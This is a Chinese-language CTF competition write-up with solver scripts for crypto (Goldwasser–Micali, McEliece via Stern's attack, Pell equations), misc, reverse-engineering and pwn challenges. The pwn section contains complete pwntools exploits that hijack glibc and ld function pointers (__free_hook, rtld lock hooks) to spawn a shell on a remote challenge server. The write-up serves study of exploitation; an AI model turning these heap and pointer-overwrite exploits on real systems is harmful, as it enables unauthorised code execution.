Crypto

GM

​ 1.拿到encrypt.py 发现其输出了N,phi,和密文
​ 2.根据N和phi可以分解出p,q
​ 3.查阅资料,可知这是Goldwasser–Micali cryptosystem(https://en.wikipedia.org/wiki/Goldwasser–Micali_cryptosystem),有了p,q,可以通过二次剩余判定进行解密
解题脚本 见 GM_solve.sage

Mceliece

​ 1.题目给了一个mceliece 加密系统的实现,给了公钥和密文,需要还原明文
​ 2.经过查找资料,可以找到破解mceliece的相关论文 Stern, Jacques. A method for finding codewords of small weight. Coding theory and applications, Volume 388 of Lecture Notes in Computer Science, 1989.提出了一种Stern Attack 可以攻破该系统。
​ 3.编写SternsAlgorithm.sage 用Sage 实现这篇论文的攻击方法。
​ 4.编写solve.sage,用SternsAlgorithm还原明文,得到flag,脚本如下:
SternsAlgorithm.sage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def _GetRandomPermutationMatrix(n):

Set up the permutation matrix

​ rng = range(n); P = matrix(GF(2),n);
for i in range(n):
​ p = floor(len(rng)*random());
​ P[i,rng[p]] = 1; rng=rng[:p]+rng[p+1:];
return copy(P);
def _GetColumnVectorWeight(n):
​ weight = 0;
for i in range(n.nrows()):
if n[i,0] == 1:
​ weight = weight+1;
return weight;
def SternsAlgorithm(H, w, p, l):
​ H_Stern = copy(H);
​ codeword_found = false;
#Begin Stern's Algorithm for finding a weight-w codeword of the code generated by H
while (not codeword_found):
​ n_k = H_Stern.nrows();
​ k = H_Stern.ncols() - n_k;
​ I_n = identity_matrix(n_k);
​ singular = true;
​ P_Stern = 0; #initialize the permutation matrix
​ H_Prime = 0; #initialize the permuted parity-check matrix
#Search for (n-k) linearly independent columns.
while singular:
​ P_Stern = _GetRandomPermutationMatrix(H_Stern.ncols());
​ H_Prime = H_Stern*P_Stern; #permute the matrix
​ H_Prime.echelonize(); #row-reduce the first n-k columns
#If the selected n-k columns do not row-reduce, select a different combination of columns
if H_Prime.submatrix(0,0,n_k,n_k) == I_n:
​ singular = false;
#initialize and populate the set of n_k-l rows that will be deleted from H_Prime to leave l rows
​ Z = set();
while len(Z) < n_k-l:
​ Z.add(randint(0,n_k-1)); #H.nrows()=n_k, but indices start at 0
​ Z = list(Z); Z.sort(); #Make Z a sorted list
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#A copy of H_Prime with only the l selected rows (in Z) remaining
H_Prime_l = copy(H_Prime);
H_Prime_l = H_Prime_l.delete_rows(Z);
#Initialize the sets of indices of the columns of H_Prime_l
X_Indices = list(); Y_Indices = list();
#Assign a column indices to X or Y randomly (50/50 chance)
for i in range(k):
if randint(0,1)==0:
X_Indices.append(i+n_k);
else:
Y_Indices.append(i+n_k);
#Generate the size-p subsets of X and Y,
#and initialize the lists containing each subset's sum
Subsets_of_X_Indices = Subsets(X_Indices,p);
Subsets_of_Y_Indices = Subsets(Y_Indices,p);
pi_A = list();
pi_B = list();
#Calculate pi(A) for each subset of X
for i in range(Subsets_of_X_Indices.cardinality()):
column_sum = 0;
for j in range(p):
column_sum = column_sum + H_Prime_l.submatrix(0,Subsets_of_X_Indices[i][j],H_Prime_l.nrows(),1);
pi_A.append(column_sum);
#Calculate pi(B) for each subset of Y
for i in range(Subsets_of_Y_Indices.cardinality()):
column_sum = 0;
for j in range(p):
column_sum = column_sum + H_Prime_l.submatrix(0,Subsets_of_Y_Indices[i][j],H_Prime_l.nrows(),1);
pi_B.append(column_sum);
weight_w_codeword = 0; #initialize the codeword
#Check each pi(A) value against every pi(B) value to check for collisions
for i in range(len(pi_A)):
for j in range(len(pi_B)):
#If a collision occurs, calculate the n-k - bit vector computed by summing the
#entirety of the columns whose indices are in A U B
if pi_A[i] == pi_B[j]:
sum = 0; #initialize the sum vector
for k in (Subsets_of_X_Indices[i]):
sum = sum + H_Prime.submatrix(0,k,H_Prime.nrows(),1);
for k in (Subsets_of_Y_Indices[j]):
sum = sum + H_Prime.submatrix(0,k,H_Prime.nrows(),1);
if _GetColumnVectorWeight(sum) == (w-2*p):
codeword_found = true;
#Since the sum vector has the appropriate weight, the codeword of weight w can now be calculated
#Initialize the codeword
weight_w_codeword = matrix(GF(2),H_Stern.ncols(),1);
#Mark the appropriate positions of the codeword as ones
for index in range(n_k):
if sum[index,0]==1:
weight_w_codeword[index,0] = 1;
for k in Subsets_of_X_Indices[i]:
weight_w_codeword[k,0] = 1;
for k in Subsets_of_Y_Indices[j]:
weight_w_codeword[k,0] = 1;
#Undo the permuting done when selecting n-k linearly independent columns
weight_w_codeword = weight_w_codeword.transpose()*(~P_Stern);
return copy(weight_w_codeword);

solve.sage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
load("./SternsAlgorithm.sage")
def SternsAttack(PK, encrypted_message, t, p, l):
#Attacker has knowledge of PK and y (and presumably t), and is looking for a codeword of weight w
y = encrypted_message;
#Calculate a parity check matrix for the code G + {0,y}, where y = mG + e
H = (PK.stack(y)).right_kernel().basis_matrix();
w = t;
#Find a weight w codeword
weight_w_codeword = SternsAlgorithm(H, w, p, l);
#Decrypt the message using the codeword found via Stern's Algorithm
decrypted_message = PK.solve_left((y-weight_w_codeword));
return decrypted_message;
def encrypt(msg,crypto,l):
bin = BinaryStrings()
msg = map(int ,str(bin.encoding(msg)))
msg+=[0 for i in range(l-(len(msg)%l))]
assert(len(msg)%l == 0)
cipher = []
for i in range(len(msg)/l):
plain = matrix(GF(2),1,l)
for j in range(l):
plain[0,j] = msg[i*l+j]
encrypted = crypto.Encrypt(plain);
cipher.append(encrypted)
return cipher
def decrypt(cipher,crypto):
plain = ""
tmp = []
for x in cipher:
decrypted = crypto.Decrypt(x)
tmp += [ x for x in decrypted[0]]
tmp += [0 for i in range(8-(len(tmp)%8))]
print bin_to_ascii(tmp)
from sage.crypto.util import ascii_to_bin,bin_to_ascii
m = 6
n = 2**m
t = floor((2+(2**m-1)/m)/2);
pubkey = load("pubkey.sobj")
cipher = load("cipher.sobj")
plain = []
for encrypted_message in cipher:
H = (pubkey.stack(encrypted_message)).right_kernel().basis_matrix();
p = 1;
k_2 = floor((H.ncols()-H.nrows())/2);
l_min = floor(log(k_2,2))-1;
for k in range(1):
l = l_min + k;
if (H.nrows() < l):
l = H.nrows();
de = SternsAttack(pubkey,encrypted_message,t,p,l);
print de
plain+=de[0]
plain += [0 for i in range(8-(len(plain)%8))]
print bin_to_ascii(plain)

Pell

​ 1.查看服务器源代码,发现服务器会生成两个随机数a,b ,要求输入150对不同的正整数(x,y),使得满足等式x^2+a*y^2 =b
​ 2.这种形式的方程被称为佩尔方程(https://en.wikipedia.org/wiki/Pell's_equation)。求解佩尔方程的一般方法见 http://www.irishmathsoc.org/bull54/M5403.pdf
​ 3.当b=1时,解佩尔方法的一种较快的方法是用连分数法(https://en.wikipedia.org/wiki/Continued_fraction),但是当a比较大时,连分数复杂度比较高
​ 4.此外佩尔方程的解还满足递推关系
​ x_{n + 1} = a * x_{n} + b * D * y_{n}
​ y_{n + 1} = b * x_{n} + a * y_{n}
​ 5.所以对连分数法做了个优化,用连分数发得到前两组较小的解,然后可以求出这些解的递推公式的参数,然后根据递推公式去求后续的解。
​ 6.用sagemath实现了上述求解佩尔方程的算法,并与服务器交互即可得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import sys,string
from hashlib import sha256
sys.path.append("/usr/local/lib/python2.7/dist-packages/")
from sage.all import *
from pwn import *
context.log_level = "debug"
con = remote("x",11111)
def pofw():
con.recvuntil("+")
msg=con.recvuntil(")",drop =True)
con.recvuntil("== ")
dig=con.recvline().strip()
ans=util.iters.bruteforce(lambda x:sha256(x+msg).hexdigest()==dig,string.ascii_letters+string.digits,length=4)
con.sendlineafter("X:",ans)
def solve_pell(N, c,begin, most=10000):
solve x ** 2 - N * y ** 2 == c
cf = continued_fraction(sqrt(N))
for i in range(begin,most):
denom = cf.denominator(i)
numer = cf.numerator(i)
if numer ** 2 - N * denom ** 2 == c:
return numer, denom,i
return None, None,None
pofw()
con.recvline()
con.recvuntil("a = ")
d = int(con.recvuntil(",",drop=True))
con.recvuntil("b = ")
c = int(con.recvline().strip())
print d
print c
x1,y1,trys = solve_pell(d,c,0)
if not x1:
exit()
x2,y2,trys = solve_pell(d,c,trys+1)
print x1
print y1
print x2
print y2
con.sendline(str(x1))
con.sendline(str(y1))
var('a b')
m = solve([x2 == a*x1+b*d*y1,y2 == b*x1+a*y1],[a,b])
a = m[0][0].right()
b = m[0][1].right()
x,y = x1,y1
for i in range(149):
x,y = a*x+b*d*y, b*x+a*y
con.sendline(str(x))
sleep(0.5)
con.sendline(str(y))
sleep(0.5)
con.interactive()

Misc

签到题

打开题目页面,任意敲击,即会出现flag:

00.png

Misc
签到题
打开题目页面,任意敲击,即会出现flag:

但不能复制或者鼠标右键菜单,可通过浏览器菜单栏调出开发者工具,复制flag。

Minesweeper

通过三关游戏,得到三个字符串并拼接(FLOAT_STRING)
再将浮点数转换为字符串可得flag,脚本如下:

1
2
3
4
5
6
import sys
import numpy as np
flagstr = sys.argv[1]
flag = flagstr.split(" ")
for i in flag:
print(chr(int(np.round(float(i)*256))),end = "")

奇怪的组织

​ 1.首先找到用户应用数据目录下存在的Firefox和Thunderbird配置文件
​ 2.自己下载一个Firefox和Thunderbird,将这些配置文件覆盖自己的配置文件,可以使用-p指定或者修改profile.ini,将proflies里的文件保存到自己电脑里的相应位置(根据windows或者mac系统路劲有差异,但文件是通用的)这里有两个profiles的文件夹,都尝试一下,修改profile.ini,使默认的配置文件用我们刚才拷过来的那个。Firefox使用hn0lxrho.default-release之后,打开即可以看到之前用户的浏览行为了
​ 3.打开Firefox,可以看到之前用户的浏览记录了,找到emojiwiki的网页,此时用户正在浏览🐉这个emoji
​ 4.用同样的办法,打开Thunderbird,配置文件是7ev2i8k4.default-release,可以看到有一堆邮件,我们按照时间顺序从早到晚来还原
​ 5.将重点的聊天内容还原

按照对话提示,我们需要去找到一个真实姓名,在奇怪的组织/Users/bob/Pictures/CameraRoll/sdcard/Android/data/com.android.backup 目录下可以发现一个通讯录的导出文件,找到邮箱号为rjddd321@protonmail.com的通讯人,真实姓名是matachuan,使用这个key在emoji-aes继续解密,发现后面对话内容如下

​ 6.从邮件我们得知了两个信息,一个是存在一个后台网站,另一个是暗号已经换成了GxD1r
​ 7.于是去dedecms的目录奇怪的组织/phpstudy_pro/WWW/dede/a/Blog/2019/1130中寻找,发现有一个博文写着一段aes加密的结果
8.U2FsdGVkX1+z9Q5Yznug4MiYfkWZNHWTOt1nIUllLgNXSKQxIiF8zmW z2cdmmPxmQkeQ/uF3INEXBZlhruUFJg==
​ 9.使用新keyGxD1r来解密,得到flag:flag{3e5923d2-c31c-49cd-bfa3-e366a1a59c4d}

密码机器

​ 1.使用hex2bin,将hex转化成bin,在文件结尾的地方可以看到明显的字符串,有python notepad,且存在一段python代码,可以得知是badusb的固件。
​ 2.固件模拟鼠标键盘进行了一些操作,切换窗口,输入代码
​ 3.根据逆向和字符串规律的观察,发现在python串口输入的代码为

1
2
3
4
5
6
7
8
9
10
11
import base64
from Crypto.Cipher import AES
def add_to_16(s):
while len(s) % 16 != 0:
s += '\0'
return str.encode(s)
key = 'aaaaa14mK3ybbbbb'
aes = AES.new(str.encode(key), AES.MODE_ECB)
encrypted_text = 'xWgrSJHUzsz0eb/V/sxbA3zG4UGMjRUPZbQF92C0DP4pmpgGh0IcjCvVUwbc/75Y'
decrypted_text = str(aes.decrypt(base64.decodebytes(bytes(encrypted_text, encoding='utf8'))).rstrip(b'\0').decode("utf8")) # 解密
decrypted_text

flag{ce19feba-e620-4477-8e93-a0abcdecb80d}

Reverse

Game

​ 1.逆向python bytecode,可知flag需经过check0,check1,check2, check3四个函数的检查
​ 2.逆向check0函数,发现flag字符均在32, 128范围内
​ 3.逆向check1函数,爆破条件l < 100 and ((l*l) % 777) ^ 233 == 513获得 flag长度为39
​ 4.逆向check2函数,通过128进制得到flag的开头为“flag{5”以及结尾为“}”
​ 5.逆向check3函数,其中对三段flag进行了计算,第一部分可以爆破运算 式得到,第二部分需要通过第一部分的结果异或得到,第三部分类似16 进制编码,可以直接恢复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
flag = [' ']*39
x = 3533889469877
t = ''
while x != 0:
t += chr(x%128)
x/=128
flag[:6] = t[::-1]
flag[-1] = '}'
arr0 = [249,91,149,113,16,91,53,41]
for i in range(8):
for ch in range(32, 128):
if (ch * 17684 + 372511) % 257 == arr0[i]:
flag[6+i*3]=chr(ch)
arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60]
key = [0]*4
key[0] = arr1[8] ^ ord(flag[15])
key[1] = arr1[5] ^ ord(flag[12])
key[2] = arr1[2] ^ ord(flag[9])
key[3] = arr1[11] ^ ord(flag[18])

flag[-2] = chr(key[0])
flag[-3] = chr(key[1])
flag[-4] = chr(key[2])
flag[-5] = chr(key[3])
for i in range(len(arr1)):
flag[7+i] = chr(arr1[i] ^ key[i%4])
arr2 = [90, 100, 87, 109, 86, 108, 86, 105, 90, 104, 88, 102]
for i in range(0, len(arr2), 2):
for ch in range(32, 128):
if ((ch + 107) / 16) + 77 == arr2[i] and ((ch + 117) % 16) + 99 == arr2[i+1]:
flag[28+i/2] = chr(ch)
print ''.join(flag)

Enc

​ 1.使用IDA逆向程序,找到主要逻辑sub_401490函数
​ 2.识别md5算法(sub_401050函数),还原加密算法(sub_4012A0函 数)的密钥生成和加密逻辑。其中有类似RC6的加密算法和一段简单的异 或和换位操作。
​ 3.逆向发现加密密钥是由当前时间决定的srand(time % 177),一共只有 177种可能,因此可以爆破。还原解密算法后,得到flag开头的结果即为 最终flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctime>
#define ROUNDS 20
#define KEY_LENGTH 256
#define W 32
#define P32 0x01234567
#define Q32 0x89abcdef
#define LG_W 5
const uint32_t k[64] = {
0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee ,
0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501 ,
0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be ,
0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821 ,
0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa ,
0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8 ,
0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed ,
0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a ,
0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c ,
0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70 ,
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05 ,
0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665 ,
0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039 ,
0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1 ,
0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1 ,
0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391 };

// r specifies the per-round shift amounts
const uint32_t r[] = { 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21 };

// leftrotate function definition
#define LEFTROTATE(x, c) (((x) << (c)) | ((x) >> (32 - (c))))

void to_bytes(uint32_t val, uint8_t* bytes)
{
bytes[0] = (uint8_t)val;
bytes[1] = (uint8_t)(val >> 8);
bytes[2] = (uint8_t)(val >> 16);
bytes[3] = (uint8_t)(val >> 24);
}

uint32_t to_int32(const uint8_t* bytes)
{
return (uint32_t)bytes[0]
| ((uint32_t)bytes[1] << 8)
| ((uint32_t)bytes[2] << 16)
| ((uint32_t)bytes[3] << 24);
}

void md5(const uint8_t* initial_msg, size_t initial_len, uint8_t* digest) {

// These vars will contain the hash
uint32_t h0, h1, h2, h3;

// Message (to prepare)
uint8_t* msg = NULL;

size_t new_len, offset;
uint32_t w[16];
uint32_t a, b, c, d, i, f, g, temp;

// Initialize variables - simple count in nibbles:
h0 = 0x67452301;
h1 = 0xefcdab89;
h2 = 0x98badcfe;
h3 = 0x10325476;

//Pre-processing:
//append "1" bit to message
//append "0" bits until message length in bits ≡ 448 (mod 512)
//append length mod (2^64) to message

for (new_len = initial_len + 1; new_len % (512 / 8) != 448 / 8; new_len++)
;

msg = (uint8_t*)malloc(new_len + 8);
memcpy(msg, initial_msg, initial_len);
msg[initial_len] = 0x80; // append the "1" bit; most significant bit is "first"
for (offset = initial_len + 1; offset < new_len; offset++)
msg[offset] = 0; // append "0" bits

// append the len in bits at the end of the buffer.
to_bytes(initial_len * 8, msg + new_len);
// initial_len>>29 == initial_len*8>>32, but avoids overflow.
to_bytes(initial_len >> 29, msg + new_len + 4);

// Process the message in successive 512-bit chunks:
//for each 512-bit chunk of message:
for (offset = 0; offset < new_len; offset += (512 / 8)) {

// break chunk into sixteen 32-bit words w[j], 0 ≤ j ≤ 15
for (i = 0; i < 16; i++)
w[i] = to_int32(msg + offset + i * 4);

// Initialize hash value for this chunk:
a = h0;
b = h1;
c = h2;
d = h3;

// Main loop:
for (i = 0; i < 64; i++) {

if (i < 16) {
f = (b & c) | ((~b) & d);
g = i;
}
else if (i < 32) {
f = (d & b) | ((~d) & c);
g = (5 * i + 1) % 16;
}
else if (i < 48) {
f = b ^ c ^ d;
g = (3 * i + 5) % 16;
}
else {
f = c ^ (b | (~d));
g = (7 * i) % 16;
}

temp = d;
d = c;
c = b;
b = b + LEFTROTATE((a + f + k[i] + w[g]), r[i]);
a = temp;

}

// Add this chunk's hash to result so far:
h0 += a;
h1 += b;
h2 += c;
h3 += d;

}

// cleanup
free(msg);

//var char digest[16] := h0 append h1 append h2 append h3 //(Output is in little-endian)
to_bytes(h0, digest);
to_bytes(h1, digest + 4);
to_bytes(h2, digest + 8);
to_bytes(h3, digest + 12);

}

typedef struct ctx
{
uint32_t *S;
uint8_t r;
} ctx_t;

ctx_t* create_new()
{
ctx_t *new_ctx = (ctx_t*)malloc(sizeof(ctx_t));
new_ctx->S = (uint32_t*) calloc(2*ROUNDS+4, sizeof(uint32_t));
new_ctx->r = ROUNDS;
return new_ctx;
}

void ctx_free(ctx_t *ctx)
{
free(ctx->S);
free(ctx);
}

uint32_t rol32(uint32_t a, uint8_t n)
{
return (a << n) | (a >> (32 - n));
}

uint32_t ror32(uint32_t a, uint8_t n)
{
return (a >> n) | (a << (32 - n));
}

void key_schedule(ctx_t *ctx, void *key)
{
ctx->S[0] = P32;
uint8_t i = 0, j = 0;
for(i = 1; i <= 2*ctx->r+3; ++i)
ctx->S[i] = ctx->S[i-1] + Q32;

i = 0;
uint32_t a = 0, b = 0;
for(uint8_t k=1; k<=3*(2*ctx->r+4); ++k)
{
a = ctx->S[i] = rol32((ctx->S[i] + a + b), 3);
b = ((uint32_t*)key)[j] = rol32(((uint32_t*)key)[j] + a + b, a + b);
i = (i+1) % (2*ctx->r+4);
j = (j+1) % (KEY_LENGTH/W);
}

}


void decrypt(ctx_t *ctx, void *block)
{
register uint32_t A = ((uint32_t *)block)[0];
register uint32_t B = ((uint32_t *)block)[1];
register uint32_t C = ((uint32_t *)block)[2];
register uint32_t D = ((uint32_t *)block)[3];
C = C - ctx->S[2*ctx->r + 3];
A = A - ctx->S[2*ctx->r + 2];
uint32_t t=0, u=0, temp_reg;
for(uint8_t i = ctx->r; i > 0; --i)
{
temp_reg = D;
D = C;
C = B;
B = A;
A = temp_reg;
t = rol32((B*(2*B+1)), LG_W);
u = rol32((D*(2*D+1)), LG_W);
C = ror32((C-ctx->S[2*i+1]), t) ^ u;
A = ror32((A-ctx->S[2*i]), u) ^ t;
}
D = D - ctx->S[1];
B = B - ctx->S[0];
((uint32_t *)block)[0]=A;
((uint32_t *)block)[1]=B;
((uint32_t *)block)[2]=C;
((uint32_t *)block)[3]=D;
}

void dec0(unsigned char *txt)
{
for(int i = 0; i < 16; i+=2)
{
txt[i] = txt[i] ^ txt[i+1];
txt[i+1] = txt[i] ^ txt[i+1];
txt[i] = txt[i] ^ txt[i+1];
}
for(int i = 0; i < 16; i++)
{
txt[i] ^= i;
}
}

void go(unsigned char *key, unsigned char *txt)
{
ctx_t *p = create_new();
key_schedule(p, key);
dec0(txt);
decrypt(p, txt);
}

void hexify(char* dest, unsigned char* src, int len)
{
for(int i = 0; i < len; i++)
{
sprintf(dest+(2*i), "%02x", src[i] );
}
}

int main(void)
{
unsigned char txt1[16] = {102, 108, 97, 103, 123};
//unsigned char key1[32] = {0};
unsigned char result2[32] = {0};

for(int r=0; r<177; r++)
{
unsigned char dest[] = {0xae,0xed,0x13,0x5c,0xbd,0xd2,0xa1,0x74,0x9c,0x4c,0x5e,0x2,0xd3,0x28,0x9b,0x60, 0};
uint8_t result[16];
int x = 0;
char hex_md5[32];
md5((uint8_t*)&r, 4, result);
hexify((char*)result2, (unsigned char*)result, 16);
go((unsigned char*)result2, dest);
if(!memcmp(dest, txt1, 5) )
{
puts((char*)dest);
return 0;
}
}

return 0;

}

VM

​ 1.逆向vm解析器,可以发现这是一个基于栈的vm,其中也有一个内存段 和5个寄存器
​ 2.还原每个opcode,编写disassembler翻译vm指令
​ 3.逆向vm指令可以发现程序首先做了一个异或+移位,然后根据当前位置 的奇偶再做一个数字运算,将这两步还原即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dest=[102, 78, 169, 253, 60, 85, 144, 36, 87, 246, 93, 177, 1, 32, 129, 253, 54, 169, 31, 161, 14, 13, 128, 143, 206, 119, 232, 35, 158, 39, 96, 47, 165, 207, 27, 189, 50, 219, 255, 40, 164, 93]
dest2=[0]*42
dest2[0] = dest[0]
dest3=[0]*42
for i in range(1,42):
if i % 2 == 0:
dest2[i] = (dest[i]-dest[i-1]+256)%256
else:
for j in range(256):
if (107 * j)%256 == dest[i]:
dest2[i] = j
break
for i in range(6):
for j in range(7):
dest3[j*6+i] = dest2[i*7+j]^((i+2)*j)
print dest2,dest3
print ''.join(map(chr, dest3))

Pwn

MarksMan

1.本题libc版本为2.27,保护全开。
2.题目逻辑比较直白,送个libc地址,写3个连续byte拿shell。
3.难点在于所有one gadget都被禁用了。
4.一个可行的思路是打ld,在ld上找到两个比较有意思的函数指针rtld_lock_default_unlock_recursive和rtld_lock_default_lock_recursive。在dlopen里调用rtld_lock_default_unlock_recursive时,rdi指向__rtld_global+2312,假设能把rtld_lock_default_unlock_recursive改为gets就有非常大的发挥空间了。后面选择进一步把rtld_lock_default_lock_recursive改为system,用稳定的方式拿shell,当然这时候也可以尝试one gadget因为这里的gets没有原题的check了。
5.当然我觉得这个题还有别的解法,各凭本事吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
if args['DEBUG']:
context.log_level = "debug"
code = ELF("./chall")
context.arch=code.arch
if args['REMOTE']:
conn = remote("106.15.186.69", 40033)
else:
conn = process("./chall")

raw_input("#")

libc=ELF("./libc.so.6")

conn.recvuntil("target near: ")
leak_libc = int(conn.recv(14), 16) - libc.sym['puts']
print '[libc]: ' + hex(leak_libc)

conn.sendlineafter("shoot!\n", str(leak_libc+0x81df68))

gets_addr = leak_libc+libc.sym['gets']
print '[gets]: ' + hex(gets_addr)


for i in range(3):
conn.sendlineafter("biang!\n", p64(gets_addr)[i])

f = {
0: '/bin/sh\0',
0x10: 1,
0x38: 1,
0x50: 5,
0x70: 0x7e,
0x78: 3,
0x5f8: leak_libc + libc.sym['system'],
}
conn.sendline(fit(f, filler='\0', length=0x600))

conn.interactive()

SecureBox

1.本题libc版本为2.30, 保护全开。
2.漏洞点在于Allocate函数,首先uint64_t强制转换为uint32_t可以bypass到size的check。其次malloc的size过大时,返回值为0。
3.利用malloc未清空的特点泄露libc基地址。
4.然后malloc(0x7fffffff00000500),这样就等于libc范围内任意写了。
5.提供的exp选择将free_hook改成system来稳定拿shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
if args['DEBUG']:
context.log_level = "debug"
code = ELF("./chall")
context.arch=code.arch
if args['REMOTE']:
conn = remote("106.15.186.69", 40032)
else:
conn = process("./chall")

libc=ELF("./libc.so.6")

raw_input("#")

def Allocate(size):
conn.sendlineafter("5.Exit\n", '1')
conn.sendlineafter("Size: \n", str(size))
conn.recvuntil("Key: \n")
key_msg = conn.recvline().strip("\n").split(" ")[:-1]
key = [int(i,16) for i in key_msg]
print key
return key

def Delete(idx):
conn.sendlineafter("5.Exit\n", '2')
conn.sendlineafter("Box ID: \n", str(idx))

def Show(idx, offset, size):
conn.sendlineafter("5.Exit\n", '4')
conn.sendlineafter("Box ID: \n", str(idx))
conn.sendlineafter("Offset of msg: \n", str(offset))
conn.sendlineafter("Len of msg: \n", str(size))

def Enc(idx, offset, size, msg):
conn.sendlineafter("5.Exit\n", '3')
conn.sendlineafter("Box ID: \n", str(idx))
conn.sendlineafter("Offset of msg: ", str(offset))
conn.sendlineafter("Len of msg: ", str(size))
conn.sendafter("Msg: \n", msg)

key0 = Allocate(0x500)#0
key1 = Allocate(0x500)#1
binsh = "/bin/sh\x00"
binsh_enc = ''
for i in range(8):
binsh_enc += chr(ord(binsh[i])^key1[i])
Enc(1, 0, 8, binsh_enc)
Delete(0)
key0 = Allocate(0x500)#0
Show(0, 0, 8)
conn.recvuntil("Msg: \n")
leak_libc = u64(conn.recv(6).ljust(8, "\x00"))-0x1eabe0
print '[libc]: ' + hex(leak_libc)
key2 = Allocate(0x7fffffff00000300)
system = p64(leak_libc+libc.sym['system'])
system_enc = ''
for i in range(8):
system_enc += chr(ord(system[i])^key2[i])
Enc(2, leak_libc+libc.sym['__free_hook'], 8, system_enc)
Delete(1)

conn.interactive()

Count

程序随机生成200道算术题,全部答对之后进入漏洞处,看到栈溢出溢出覆盖拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from sys import argv

context.log_level = 'debug'

if len(argv)==3:
ip,port=argv[1],int(argv[2])
p=remote(ip,port)
else:
p=process('./pwn')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

i = 0

while i<200:
ru("Math:")
a = ru("*")[:-1].strip()
b = ru("+")[:-1].strip()
c = ru("+")[:-1].strip()
d = ru("=")[:-1].strip()
t = int(a)*int(b)+int(c)+int(d)
ru("answer:")
sl(str(t))
i += 1
p.send('a'*100+p64(0x12235612))
p.interactive()

Encnote

1.检查题目保护,题目保护全开
2.使用 IDA逆向,发现只有增删两个功能,改查两个功能都是空的,新增功能允许分配0x30-0x200大小的堆块,但是只能写前8个字节。
3.此外还有加密和解密两个功能,密钥是初始时随机的,经过逆向可发现加密用的是blowfish算法
4.题目的漏洞在于解密函数中有一个后门,解密出的明文的左半侧如果是某个值,可以通过右半侧的明文在栈上修改一个字节
5.可以把指向存储明文的指针的低字节改掉,使明文可以覆盖bss段上的其他字段。
6.这个题目的难点在于没有泄露,加密和解密的对象是用户的输入,而不是libc地址之类的值。
